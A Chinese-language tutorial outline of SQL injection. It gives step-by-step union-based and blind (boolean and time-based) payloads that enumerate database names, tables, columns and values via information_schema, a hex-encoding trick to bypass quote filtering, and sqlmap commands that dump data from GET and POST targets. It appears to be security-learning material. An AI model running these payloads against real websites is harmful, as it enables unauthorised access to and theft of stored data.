SQL注入基础
普通sql注入:后台能提供有价值的错误信息,显示在页面
     手动注入
         1. 寻找sql注入点
             get注入
                 ?id=xx 
                 url后加'测试是否存在注入漏洞,报错则存在
             post注入
                  把参数封装在数据包中提交
                  寻找post表单:文本框,单选按钮,复选框,文件浏览,提交按钮
                  文本框内容加'测试是否存在漏洞,报错则存在
         2. 确认注入点类型(查询语句是否带'')
             数字型
                 url后加 and 1=1 正常返回数据
                 url后加 and 1=2 查不到数据
             字符型
                 url后加 ' and 1=1# 正常返回数据
                 url后加 ' and 1=2# 查不到数据
         3. 猜当前页面查询的字段总数
             order by n     逐渐加大n,直到报错
         4. 查询页面显示了哪几个字段
             url后加 and 1=2 union select 1,2,3,4,5...n
             页面中会显示相应字段出现的位置
         5. 查询当前数据库名称
             url后加 and 1=2 union select 1,2,database(),4,5...n
             3号位置显示数据库名称
         6. 查询数据库中了所有表名(mysql)
             url后加 and 1=2 union select 1,2,group_concat(table_name),4,5...n from information_schema.tables where table_schema = database()
             information_schema: mysql数据库在系统中自动创建的一个库,统计了系统中所有数据库及其数据表
         7. 查询指定表中所有字段名称
             url后加 and 1=2 union select 1,2,group_concat(column_name),4,5...n from information_schema.columns where table_name = '查询的表名'
         8. 查询指定字段的值
             url后加 and 1=2 union select 1,2,字段名,字段名,4,5...n from '表名' limit 1,1
             limit N,M : 从第 N (从0开始)条记录开始, 返回 M 条记录。
    绕过防御
         转义字符:后台可能会过滤或转义引号。把引号里的字符进行16进制的HEX转码,就无需再使用引号
         post方式:使用burpsuit抓包
     php防注入
         PDO:php data objects
 盲注
     通过仅有的判断信息对表中字段进行探测
     数据库不一定是mysql,没有information_schema库
     类型
         布尔型盲注:页面可以反馈判断的对错
         延时型盲注:页面无反馈,使用sleep函数观察页面是否有延时    
     1. 寻找sql注入点
             get注入
                 ?id=xx 
                 url后加'测试是否存在注入漏洞,报错则存在
             post注入
                  把参数封装在数据包中提交
                  寻找post表单:文本框,单选按钮,复选框,文件浏览,提交按钮
                  文本框内容加'测试是否存在漏洞,报错则存在
     2. 确定注入点类型
         数字型
                 url后加 and 1=1 正常返回数据
                 url后加 and 1=2 查不到数据
         字符型
                 url后加 ' and 1=1# 正常返回数据
                 url后加 ' and 1=2# 查不到数据
     3. 猜数据库名的长度
         and length(database())=n  n逐渐增大
     4. 猜数据库名的单个字符
         ' and ascii(substr(database(),1,1))>97
         ' and ascii(substr(database(),1,1))<122
         通过ascii码值逐渐调整找到该字符
         注意:此substr是mysql函数,起始位置从1开始;在php中是从0开始
     5. 逐个猜出数据库名
     6. 猜该数据库有多少张表
         ' and (select count(table_name) from information_schema.tables where table_schema=database())=n
         逐渐增大n,找到表的数量
     7. 猜第一张表名的长度
         ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1
         逐渐增大n,找到第一个表名的长度
     8. 猜第一张表,第一个字符
     9. 猜出完整表名
     10. 猜第n张表名
     11. 猜目标表的总字段数
     12. 猜字段名
     13. 猜字段值
注入工具(原理与手动注入一致)
     sqlmap注入
         get注入
             sqlmap -u 'url' --dbs    获取数据库名
             sqlmap -u 'url' -D 数据库名 --tables  获取指定数据库下的表名
             sqlmap -u 'url' -D 数据库名 -T 表名 --columns  获取指定表的字段名
             sqlmap -u 'url' -D 数据库名 -T 表名 -C 字段名,字段名 --dump  获取指定字段的值
         post注入(burpsuit开代理截取post包)
             sqlmap -r post包文件路径 --dbs  获取数据库名
             sqlmap -r post包文件路径 -D 数据库名 --tables  获取指定数据库下的表名
             sqlmap -r post包文件路径 -D 数据库名 -T 表名 --columns  获取指定表的字段名
             sqlmap -r post包文件路径 -D 数据库名 -T 表名 -C 字段名,字段名 --dump  获取指定字段的值
     啊D
     明小子旁注
     metasploit
